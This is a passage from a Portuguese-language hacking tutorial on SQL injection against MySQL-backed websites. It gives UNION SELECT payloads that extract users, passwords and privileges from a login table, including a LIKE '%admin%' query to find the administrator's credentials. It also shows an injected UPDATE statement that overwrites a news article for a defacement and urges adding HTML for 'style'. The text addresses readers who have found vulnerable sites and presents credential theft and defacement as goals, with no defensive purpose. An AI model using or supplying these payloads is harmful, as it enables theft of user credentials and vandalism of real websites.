login, supondo que descobrimos as colunas user, pass e privileges?Quase terminando a parte que aborda o MySQL, permita-me ensinar como obter linhas de cada coluna da tabela, isto e, o que nos interessou desde o inicio. Fique sabendo que, encontrou sites vulneraveis, brincou com as tabelas e enfim, entendeu tudo que foi passado, meus parabens. Para mim nao foi tao facil assim!Bem, voltando ao objetivo...Nos estavamos fazendo queries as tabelas do sistema, que para os nossos fins e nao nossos meios de nada nos interessam. Entao, a estrutura da query e a mesma.null union select 1,2,user,4,5 from database.login Otimo, obtemos um usuario, fulano.Para obter a senha, como deve saber:null union select 1,2,pass,4,5 from database.login where user=fulano E esta la a senha. Para obter os privilegios, conteudo da coluna privileges:null union select 1,2,privileges,4,5 from database.login where user=fulanoCansativo pegar usuario com uma query, senha com outra query e privilegios com outra? Podemos (tentar) concatenar todos, e obter todos de uma tacada so:null union select 1,2,concat_ws(user,pass,privileges),4,5 from database.login O limit ainda e valido nestes casos, podendo usar como cursor.Supondo que ja saibamos o nome de usuario, ou deduzimos a partir de qualquer lugar, que parte do nome de usuario e admin... Podemos usar o like:null union select 1,2,concat_ws(user,pass,privileges),4,5 from database.login where user like %admin% E assim, obtemos o usuario e a senha do administrador, cujo usuario seria; no exemplo, algo parecido com admin.Bom, podemos obter senhas de usuarios do site, ou podemos efetuar um defacement, para deixar a nossa assinatura.Neste caso...Neste caso, antes de qualquer coisa, devemos definir a tabela que queremos atacar. Supondo que queiramos modificar uma noticia, a mais recente, para uma mensagem como 6SAOLAMMAH, primeiro, vamos descobrir quais colunas tem a tabela noticias, aquela em que estavamos no comeco:null union select 1,2,column_name,4,5 from information_schema.columns where table_name=noticias limit 0,1 E ai, utilizamos o LIMIT como cursor novamente. Depois de descobrir todas as colunas, que em nosso exemplo seriam algo como id, titulo, texto, autor e data, nos podemos modificar o que queremos com o comando update.Nesse caso, nao estamos mais fazendo queries ao sistema. Agora vamos modificar o banco de dados, e por isso, devemos fechar a query que utilizava o id para se orientar.Vamos utilizar um ID novo, atribuido a uma noticia fresquinha, para que ninguem tenha que pegar alguma das primeiras noticias para visualizar a sua arte. Supomos que este ID seja 1000, e montamos assim, atras do ?id=:null update noticias set texto=6SAOLAMMAH where noticias.id=1000 No exemplo, o que fazemos e fechar a string que pega o id, e atraves do ponto-e-virgula, passamos outros comandos ao banco de dados. Sendo assim, ao menos em teoria, temos um defacement.Fazer um deface pode e deve ser mais completo, entao, deveriamos ao menos alterar o titulo da noticia e incrementar nosso texto com alguma coisa em HTML, para que o usuario tenha a sensacao de que o hacker teve estilo, e nao foi apenas idiota.Quem se ligou agora, deve ter percebido que poderia utilizar algumas funcoes do PHP para reavivar uma antiga tecnica, hoje em desuso, a dita PHP Injection que eu nem pretendo